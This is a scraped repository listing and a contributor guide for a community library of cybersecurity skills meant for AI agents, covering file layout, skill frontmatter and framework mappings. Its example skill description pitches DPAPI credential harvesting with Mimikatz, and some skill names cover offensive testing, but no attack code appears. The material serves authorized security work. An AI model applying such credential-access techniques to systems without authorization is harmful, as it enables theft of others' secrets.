/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-host-header-injection%2Freferences%2Fapi-reference.md -->","skills/testing-for-json-web-token-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-json-web-token-vulnerabilities%2FSKILL.md -->","skills/testing-for-json-web-token-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-json-web-token-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-open-redirect-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-open-redirect-vulnerabilities%2FSKILL.md -->","skills/testing-for-open-redirect-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-open-redirect-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-sensitive-data-exposure/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-sensitive-data-exposure%2FSKILL.md -->","skills/testing-for-sensitive-data-exposure/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-sensitive-data-exposure%2Freferences%2Fapi-reference.md -->","skills/testing-for-system-prompt-leakage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-system-prompt-leakage%2FSKILL.md -->","skills/testing-for-system-prompt-leakage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-system-prompt-leakage%2Freferences%2Fapi-reference.md -->","skills/testing-for-system-prompt-leakage/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-system-prompt-leakage%2Freferences%2Fstandards.md -->","skills/testing-for-xml-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xml-injection-vulnerabilities%2FSKILL.md -->","skills/testing-for-xml-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xml-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities-with-burpsuite%2FSKILL.md -->","skills/testing-for-xss-vulnerabilities-with-burpsuite/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities-with-burpsuite%2Freferences%2Fapi-reference.md -->","skills/testing-for-xss-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities%2FSKILL.md -->","skills/testing-for-xss-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-xxe-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xxe-injection-vulnerabilities%2FSKILL.md -->","skills/testing-for-xxe-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xxe-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-jwt-token-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-jwt-token-security%2FSKILL.md -->","skills/testing-jwt-token-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-jwt-token-security%2Freferences%2Fapi-reference.md -->","skills/testing-mobile-api-authentication/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2FSKILL.md -->","skills/testing-mobile-api-authentication/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Fassets%2Ftemplate.md -->","skills/testing-mobile-api-authentication/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Freferences%2Fapi-reference.md -->","skills/testing-mobile-api-authentication/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Freferences%2Fstandards.md -->","skills/testing-mobile-api-authentication/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-mobile-api-authentication%2Freferences%2Fworkflows.md -->","skills/testing-oauth2-implementation-flaws/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-oauth2-implementation-flaws%2FSKILL.md -->","skills/testing-oauth2-implementation-flaws/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-oauth2-implementation-flaws%2Freferences%2Fapi-reference.md -->","skills/testing-prompt-injection-in-rag-pipelines/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-prompt-injection-in-rag-pipelines%2FSKILL.md -->","skills/testing-prompt-injection-in-rag-pipelines/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-prompt-injection-in-rag-pipelines%2Freferences%2Fapi-reference.md -->","skills/testing-prompt-injection-in-rag-pipelines/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-prompt-injection-in-rag-pipelines%2Freferences%2Fstandards.md -->","skills/testing-ransomware-recovery-procedures/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-ransomware-recovery-procedures%2FSKILL.md -->","skills/testing-ransomware-recovery-procedures/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-ransomware-recovery-procedures%2Freferences%2Fapi-reference.md -->","skills/testing-websocket-api-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-websocket-api-security%2FSKILL.md -->","skills/testing-websocket-api-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-websocket-api-security%2Freferences%2Fapi-reference.md -->","skills/tracking-threat-actor-infrastructure/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2FSKILL.md -->","skills/tracking-threat-actor-infrastructure/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Fassets%2Ftemplate.md -->","skills/tracking-threat-actor-infrastructure/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Freferences%2Fapi-reference.md -->","skills/tracking-threat-actor-infrastructure/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Freferences%2Fstandards.md -->","skills/tracking-threat-actor-infrastructure/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftracking-threat-actor-infrastructure%2Freferences%2Fworkflows.md -->","skills/triaging-security-alerts-in-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-alerts-in-splunk%2FSKILL.md -->","skills/triaging-security-alerts-in-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-alerts-in-splunk%2Freferences%2Fapi-reference.md -->","skills/triaging-security-incident-with-ir-playbook/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2FSKILL.md -->","skills/triaging-security-incident-with-ir-playbook/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Fassets%2Ftemplate.md -->","skills/triaging-security-incident-with-ir-playbook/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Freferences%2Fapi-reference.md -->","skills/triaging-security-incident-with-ir-playbook/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Freferences%2Fstandards.md -->","skills/triaging-security-incident-with-ir-playbook/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident-with-ir-playbook%2Freferences%2Fworkflows.md -->","skills/triaging-security-incident/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident%2FSKILL.md -->","skills/triaging-security-incident/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-security-incident%2Freferences%2Fapi-reference.md -->","skills/triaging-vulnerabilities-with-ssvc-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2FSKILL.md -->","skills/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2Freferences%2Fapi-reference.md -->","skills/triaging-vulnerabilities-with-ssvc-framework/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2Freferences%2Fstandards.md -->","skills/triaging-vulnerabilities-with-ssvc-framework/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-vulnerabilities-with-ssvc-framework%2Freferences%2Fworkflows.md -->","skills/triaging-windows-with-kape/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-windows-with-kape%2FSKILL.md -->","skills/triaging-windows-with-kape/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-windows-with-kape%2Freferences%2Fapi-reference.md -->","skills/triaging-windows-with-kape/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-windows-with-kape%2Freferences%2Fstandards.md -->","skills/validating-backup-integrity-for-recovery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-backup-integrity-for-recovery%2FSKILL.md -->","skills/validating-backup-integrity-for-recovery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-backup-integrity-for-recovery%2Freferences%2Fapi-reference.md -->","skills/validating-tpm-measured-boot-attestation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-tpm-measured-boot-attestation%2FSKILL.md -->","skills/validating-tpm-measured-boot-attestation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-tpm-measured-boot-attestation%2Freferences%2Fapi-reference.md -->","skills/validating-tpm-measured-boot-attestation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-tpm-measured-boot-attestation%2Freferences%2Fstandards.md -->","skills/verifying-build-provenance-with-slsa-sigstore/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fverifying-build-provenance-with-slsa-sigstore%2FSKILL.md -->","skills/verifying-build-provenance-with-slsa-sigstore/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fverifying-build-provenance-with-slsa-sigstore%2Freferences%2Fapi-reference.md -->","skills/verifying-build-provenance-with-slsa-sigstore/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fverifying-build-provenance-with-slsa-sigstore%2Freferences%2Fstandards.md -->","tools/README.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=tools%2FREADME.md -->"},"files":{".claude-plugin/marketplace.json":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=.claude-plugin%2Fmarketplace.json -->",".claude-plugin/plugin.json":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=.claude-plugin%2Fplugin.json -->",".github/copilot-instructions.md":"# Copilot Instructions for Anthropic-Cybersecurity-Skills\n\n**Anthropic-Cybersecurity-Skills** is the largest open-source cybersecurity skills library for AI agents, containing 817 production-grade skills mapped to 6 industry frameworks (MITRE ATT&CK, NIST CSF, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3). This document guides Copilot agents contributing new skills and framework mappings.\n\n## Quick Facts\n\n- **Type**: Open-source cybersecurity skills library + framework mapping hub\n- **Skills**: 817 across 29 security domains\n- **Frameworks**: 6 (MITRE ATT&CK v14, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3)\n- **Format**: agentskills.io standard (YAML frontmatter + Markdown)\n- **License**: Apache 2.0 (ethical use required)\n- **Community**: Independent, community-created (not affiliated with Anthropic)\n\n## Repository Structure\n\n```\nAnthropic-Cybersecurity-Skills/\n├── skills/                    # 817 skill directories (kebab-case)\n│   ├── abusing-dpapi-for-credential-access/\n│   │   ├── SKILL.md          # Frontmatter + detailed instructions\n│   │   ├── LICENSE\n│   │   ├── scripts/\n│   │   │   └── process.py    # Optional helper scripts\n│   │   └── references/\n│   │       ├── api-reference.md\n│   │       ├── standards.md\n│   │       └── workflows.md\n│   └── ... (816 more)\n├── mappings/                  # Framework coverage & alignment\n│   ├── mitre-attack/\n│   │   ├── attack-navigator-layer.json\n│   │   └── coverage-summary.md\n│   ├── nist-csf/\n│   ├── owasp/\n│   └── README.md\n├── docs/                      # Additional documentation\n├── index.json                 # Central skill registry (auto-generated)\n├── CONTRIBUTING.md            # Contribution guide\n├── SECURITY.md               # Ethical use & dual-use policies\n└── CODE_OF_CONDUCT.md        # Community guidelines\n```\n\n## Build & Development\n\n### Prerequisites\n\n- **Git** (for cloning and version control)\n- **Python 3.8+** (optional, for scripts/metadata generation)\n- **jq** (optional, for JSON processing; useful for index.json queries)\n\n### Local Setup\n\n```bash\n# Clone the repository\ngit clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git\ncd Anthropic-Cybersecurity-Skills\n\n# No installation needed—skills are static Markdown files\n# View a skill directly:\ncat skills/abusing-dpapi-for-credential-access/SKILL.md\n\n# Search for skills by keyword:\ngrep -r \"credential-access\" skills/*/SKILL.md | head -10\n\n# Query the central index:\njq '.skills[] | select(.description | contains(\"Active Directory\"))' index.json\n```\n\n### Generating/Updating index.json\n\nWhen adding new skills, the index must be regenerated:\n\n```bash\n# If a script exists (check repository):\npython3 generate_index.py\n\n# Otherwise, manually verify:\njq '.skills | length' index.json  # Should match skill directory count\n```\n\n## Architecture & Concepts\n\n### Skill Structure\n\nEach skill is a **self-contained directory** following the `agentskills.io` standard:\n\n```\nskills/skill-name/\n├── SKILL.md              # The authoritative skill definition\n├── LICENSE               # Apache 2.0 (usually)\n├── scripts/\n│   └── process.py        # Optional: helper scripts, agent implementations\n└── references/\n    ├── api-reference.md  # Technical API docs for the skill\n    ├── standards.md      # CVE, NIST, MITRE refs\n    └── workflows.md      # Deep technical procedures\n```\n\n### SKILL.md Format\n\nEvery skill follows this structure:\n\n```markdown\n---\nname: skill-name-kebab-case\ndescription: >-\n  Clear, agent-discoverable description.\n  Include keywords for search/filtering.\n  This is what agents read to decide whether to use this skill.\ndomain: cybersecurity\nsubdomain: red-teaming  # e.g. digital-forensics, compliance-governance, etc.\ntags:\n  - tool-names (mimikatz, burp-suite, etc.)\n  - frameworks (active-directory, cloud, kubernetes, etc.)\n  - techniques (credential-access, privilege-escalation, etc.)\nversion: \"1.0\"\nauthor: github-username\nlicense: Apache-2.0\nnist_csf:\n  - DE.CM-01\n  - PR.AC-01\nmitre_attack:\n  - T1555.004\n  - T1078.002\nmitre_atlas:\n  - AML.P1.003\nmitre_d3fend:\n  - D3-CAA\n  - D3-PCA\nnist_ai_rmf:\n  - GOV-1\nmitre_f3:\n  - FI-B-003\n---\n\n# Skill Title\n\n> **Legal Notice:** This skill is for authorized [penetration testing/research/defense] only.\n> Unauthorized use may violate computer fraud laws. Always operate within rules-of-engagement.\n\n## Overview\n\nClear, concise explanation of what the skill does and why an agent needs it.\nInclude threat model context if applicable.\n\n## When to Use\n\n- Specific scenario 1\n- Specific scenario 2\n- Real-world contexts where this skill applies\n\n## Prerequisites\n\n- Required tools (with install commands if applicable)\n- Required access/permissions\n- Required knowledge/certifications\n- System requirements\n\n## Workflow\n\n### Step 1: [Action]\nClear instructions with real commands.\n```bash\ntool-name --flag value\n```\n\n### Step 2: [Next Action]\nContinue with detailed steps.\n\n### Output Format\n\nWhat success looks like:\n```\nExpected output or indicator\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| Concept1 | Explanation |\n| Concept2 | Explanation |\n\n## Tools & Systems\n\n- **Tool A** — What it does, where to get it\n- **Tool B** — What it does, where to get it\n\n## Common Scenarios\n\n### Scenario 1\nWhen X, do Y.\n\n### Scenario 2\nWhen A, do B.\n\n## References\n\n- [MITRE ATT&CK: T1555.004](https://attack.mitre.org/techniques/T1555/004/)\n- [NIST CSF: DE.CM-01](https://csrc.nist.gov/)\n```\n\n### Framework Mappings\n\nEach skill can map to multiple frameworks. Key mappings:\n\n| Framework | Scope | Example |\n|-----------|-------|---------|\n| **MITRE ATT&CK** | Adversarial tactics/techniques | T1555.004 (Credentials from Password Stores) |\n| **NIST CSF 2.0** | Cybersecurity functions & categories | DE.CM (Detect - Monitor) |\n| **MITRE ATLAS** | AI/ML system attacks | AML.P (AI Preparation) |\n| **MITRE D3FEND** | Defensive techniques | D3-CAA (Capture Analysis Analytics) |\n| **NIST AI RMF** | AI risk management | GOV (Governance) |\n| **MITRE F3** | Fraud-specific techniques | FI-B (Fraud Impact) |\n\n### Subdomains (Choose One)\n\n- **web-application-security** — OWASP, API, web app testing\n- **network-security** — Network tools, protocols, monitoring\n- **penetration-testing** — General penetration testing methodology\n- **red-teaming** — Simulating advanced attackers (C2, evasion, etc.)\n- **digital-forensics** — Incident response, forensic analysis, disk imaging\n- **malware-analysis** — Static/dynamic malware analysis, reverse engineering\n- **threat-intelligence** — Gathering, analyzing, sharing threat data\n- **cloud-security** — AWS/Azure/GCP-specific security\n- **container-security** — Docker, Kubernetes, container runtime\n- **identity-access-management** — Active Directory, IAM, authentication\n- **cryptography** — Encryption, hashing, key management\n- **vulnerability-management** — Scanning, assessment, remediation\n- **compliance-governance** — CMMC, HIPAA, SOC2, auditing\n- **zero-trust-architecture** — Zero-trust implementation patterns\n- **ot-ics-security** — Operational technology, ICS/SCADA\n- **devsecops** — Secure software development, CI/CD security\n\n## Conventions & Patterns\n\n### Naming\n\n- **Directory/file**: kebab-case, lowercase with hyphens (e.g., `abusing-dpapi-for-credential-access`)\n- **Skill name**: Same as directory (in YAML frontmatter)\n- **GitHub usernames**: Use lowercase GitHub username as author\n\n### Description Quality\n\nDescriptions should be **agent-discoverable** — concise, keyword-rich, action-oriented:\n\n```yaml\n# ✗ Vague\ndescription: How to abuse DPAPI\n\n# ✓ Clear and searchable\ndescription: >-\n  Extract DPAPI-protected secrets such as credentials and browser data\n  offline and online using SharpDPAPI, Mimikatz, or impacket. Ideal\n  for post-exploitation Windows credential harvesting and offline analysis.\n```\n\n### Tags Strategy\n\nUse 3-5 tags for discoverability:\n\n```yaml\ntags:\n  - tool-names           # mimikatz, sharpdpapi, burp-suite\n  - attack-frameworks    # active-directory, kerberos, oauth\n  - techniques           # credential-access, privilege-escalation, lateral-movement\n  - platforms            # windows, linux, macos, cloud\n  - use-cases            # post-exploitation, threat-intel, forensics\n```\n\n### Framework ID Format\n\nIDs are **case-sensitive** and **exact**:\n\n```yaml\nmitre_attack:\n  - T1055                   # Parent technique\n  - T1055.001               # Sub-technique\nnist_csf:\n  - DE.CM-01                # NIST Cybersecurity Framework 2.0\nmitre_atlas:\n  - AML.P1.003              # MITRE ATLAS for AI/ML\nmitre_d3fend:\n  - D3-CAA                  # MITRE D3FEND defensive technique ID\nnist_ai_rmf:\n  - GOV-1                   # NIST AI Risk Management Framework\nmitre_f3:\n  - FI-B-003                # MITRE Fight Fraud Framework\n```\n\n## Common Tasks\n\n### Adding a New Skill\n\n1. **Create skill directory** (kebab-case):\n   ```bash\n   mkdir -p skills/your-skill-name\n   ```\n\n2. **Create SKILL.md** with required frontmatter:\n   ```bash\n   cat > skills/your-skill-name/SKILL.md << 'EOF'\n   ---\n   name: your-skill-name\n   description: >-\n     Clear, discoverable description with keywords.\n   domain: cybersecurity\n   subdomain: red-teaming\n   tags:\n     - tool-name\n     - technique\n     - use-case\n   version: \"1.0\"\n   author: your-github-username\n   license: Apache-2.0\n   mitre_attack:\n     - T1234.567\n   nist_csf:\n     - DE.CM-01\n   mitre_atlas:\n     - AML.P1.003\n   mitre_d3fend:\n     - D3-CAA\n   nist_ai_rmf:\n     - GOV-1\n   mitre_f3:\n     - FI-B-003\n   ---\n   \n   # Skill Title\n   \n   > **Legal Notice:** Authorized use only. [...]\n   \n   ## Overview\n   \n   Clear explanation...\n   EOF\n   ```\n\n3. **Write detailed sections** in Markdown:\n   - When to Use (specific scenarios)\n   - Prerequisites (tools, permissions, access)\n   - Workflow (numbered steps with real commands)\n   - Key Concepts (table for terminology)\n   - Tools & Systems\n   - Common Scenarios\n   - References (framework links)\n\n4. **Add optional supporting files**:\n   ```\n   scripts/process.py         # Helper script or agent implementation\n   references/standards.md    # CVE, NIST, MITRE links\n   references/workflows.md    # Deep technical procedures\n   ```\n\n5. **Add LICENSE**:\n   ```bash\n   cp LICENSE skills/your-skill-name/LICENSE\n   # Or use a specific open-source license file\n   ```\n\n6. **Regenerate index** (if automation exists):\n   ```bash\n   python3 generate_index.py  # Updates index.json\n   ```\n\n7. **Submit PR**:\n   ```bash\n   git add skills/your-skill-name\n   git commit -m \"Add skill: your-skill-name\"\n   git push origin feature/add-skill-name\n   # Create PR with title: \"Add skill: your-skill-name\"\n   ```\n\n### Updating Framework Mappings\n\nIf a skill maps to new frameworks or techniques change:\n\n1. **Update SKILL.md frontmatter**:\n   ```yaml\n   mitre_attack:\n     - T1555.004      # Add new technique IDs\n   nist_csf:\n     - DE.CM-01       # Add new control IDs\n   ```\n\n2. **Regenerate index** (if automation exists):\n   ```bash\n   python3 generate_index.py\n   ```\n\n3. **Verify mapping coverage**:\n   ```bash\n   # Check if all referenced IDs are valid:\n   grep -r \"T1[0-9]\" skills/*/SKILL.md | grep -v \"http\"\n   ```\n\n### Searching Skills\n\n**By keyword**:\n```bash\ngrep -r \"active-directory\" skills/*/SKILL.md\n```\n\n**By framework**:\n```bash\ngrep -r \"T1055\" skills/*/SKILL.md  # MITRE ATT&CK technique\n```\n\n**By subdomain**:\n```bash\ngrep \"subdomain: red-teaming\" skills/*/SKILL.md\n```\n\n**Using jq (if index.json exists)**:\n```bash\n# Find skills by keyword\njq '.skills[] | select(.tags[] | contains(\"credential-access\"))' index.json\n\n# Count skills by subdomain\njq '[.skills[] | .subdomain] | group_by(.) | map({subdomain: .[0], count: length})' index.json\n```\n\n## Platform & Framework Notes\n\n### Windows-Specific Skills\n\n- Often leverage PowerShell, Windows APIs, Active Directory\n- Reference MITRE ATT&CK Windows tactics: T1021 (Lateral Movement), T1078 (Valid Accounts)\n- Include prerequisite (SYSTEM/Administrator access, domain join, etc.)\n\n### Linux/macOS Skills\n\n- Use standard Unix tools (bash, Python, curl, etc.)\n- Note platform availability differences\n- Cloud/container skills often multi-platform\n\n### Cloud Security Skills\n\n- Specify cloud provider (AWS, Azure, GCP, multi-cloud)\n- Reference cloud-specific tools (awscli, az, gcloud)\n- Map to cloud-specific MITRE ATLAS techniques\n\n### AI/ML Attack Skills\n\n- Use MITRE ATLAS techniques (AML.P1, AML.E1, etc.)\n- Include model/system type (LLM, transformer, computer vision, etc.)\n- Note NIST AI RMF alignment (GOV, MAP, MEASURE, MANAGE)\n\n## Gotchas & Known Issues\n\n### Legal & Ethical\n\n- **Dual-use policy**: Skills for red-teaming and exploitation require legal notice\n  - Must include \"authorized use only\" disclaimer\n  - Reference SECURITY.md for policy\n- **No credentials**: Never embed API keys, tokens, or credentials\n- **Attribution**: Cite original tool authors and researchers\n\n### Framework Maintenance\n\n- **MITRE ATT&CK updates**: v14 is current; check attack.mitre.org for latest\n- **NIST CSF 2.0**: Rolled out Feb 2024; use subcategory IDs as in this repo (e.g., `DE.CM-01`, `PR.PS-01`)\n- **Technique changes**: Techniques may deprecate; verify via attack.mitre.org\n\n### Subdomain Assignment\n\n- **Common mistake**: Using wrong subdomain (e.g., \"red-teaming\" for defensive skill)\n  - red-teaming = offensive/attacker perspective\n  - compliance-governance = defensive/compliance perspective\n  - Choose the **primary** subdomain if skill spans multiple\n\n### index.json Generation\n\n- If index doesn't auto-regenerate, manually verify:\n  ```bash\n  # Count skills in index vs directories\n  jq '.skills | length' index.json\n  ls -d skills/*/ | wc -l\n  # Should match (or index may be stale)\n  ```\n\n## Testing & Quality\n\n### Skill Quality Checklist\n\nBefore submitting a PR:\n\n- [ ] **Name**: Kebab-case, 1-64 chars, descriptive\n- [ ] **Description**: Clear, includes keywords, discoverable by agents\n- [ ] **Instructions**: Actionable with real commands and tool names\n- [ ] **Subdomain**: Correctly assigned (red-teaming vs defensive)\n- [ ] **Tags**: 3-5 relevant tags (tools, techniques, platforms)\n- [ ] **Framework IDs**: Valid MITRE ATT&CK, NIST CSF, MITRE ATLAS IDs\n- [ ] **Legal notice**: Included if skill is offensive/dual-use\n- [ ] **References**: Links to official framework docs\n- [ ] **Formatting**: Proper Markdown, no typos, code blocks highlighted\n\n### Manual Verification\n\n```bash\n# Validate skill frontmatter and conventions (repo validator):\npython3 tools/validate-skill.py skills/my-skill/\n# Or validate all skills:\npython3 tools/validate-skill.py --all\n\n# Check for framework ID patterns:\ngrep -E \"^  - (T1[0-9]{3,4}(\\.[0-9]{3})?|DE\\.[A-Z]{2}-[0-9]{2}|AML\\.)\" skills/*/SKILL.md\n\n# Verify all referenced skills have directories:\njq -r '.skills[].name' index.json | while read skill; do\n  [ -d \"skills/$skill\" ] || echo \"Missing: $skill\"\ndone\n```\n\n## Contributing Notes\n\n- **No build required** — Skills are static files; git pull = ready to use\n- **Skill dependencies**: Skills are independent; if skill A requires skill B, note it in the workflow\n- **Tool versions**: Mention tool versions in prerequisites (e.g., \"Burp Suite 2024.1+\")\n- **Testing**: Test commands on actual systems before submitting\n- **Code of Conduct**: See CODE_OF_CONDUCT.md — be respectful, follow ethical use policy\n\n## Resources & Links\n\n- **agentskills.io Standard**: https://agentskills.io (format specification)\n- **MITRE ATT&CK**: https://attack.mitre.org (techniques, tactics)\n- **NIST Cybersecurity Framework**: https://csrc.nist.gov/projects/cybersecurity-framework (controls)\n- **MITRE ATLAS**: https://atlas.mitre.org (AI/ML attacks)\n- **MITRE D3FEND**: https://d3fend.mitre.org (defensive techniques)\n- **NIST AI RMF**: https://nvlabs.nist.gov/display/AIRFF (AI risk management)\n- **Contributing Guide**: `CONTRIBUTING.md` in repo\n- **Security Policy**: `SECURITY.md` — dual-use & ethical use\n- **Code of Conduct**: `CODE_OF_CONDUCT.md`\n- **Community Playground**: https://casky.ai (test skills in browser)\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Add skill | `mkdir skills/name && cat > SKILL.md` |\n| Search by technique | `grep -r \"T1055\" skills/` |\n| Search by subdomain | `grep \"subdomain: red-teaming\" skills/*/SKILL.md` |\n| Validate skill | `python3 tools/validate-skill.py skills/my-skill/` 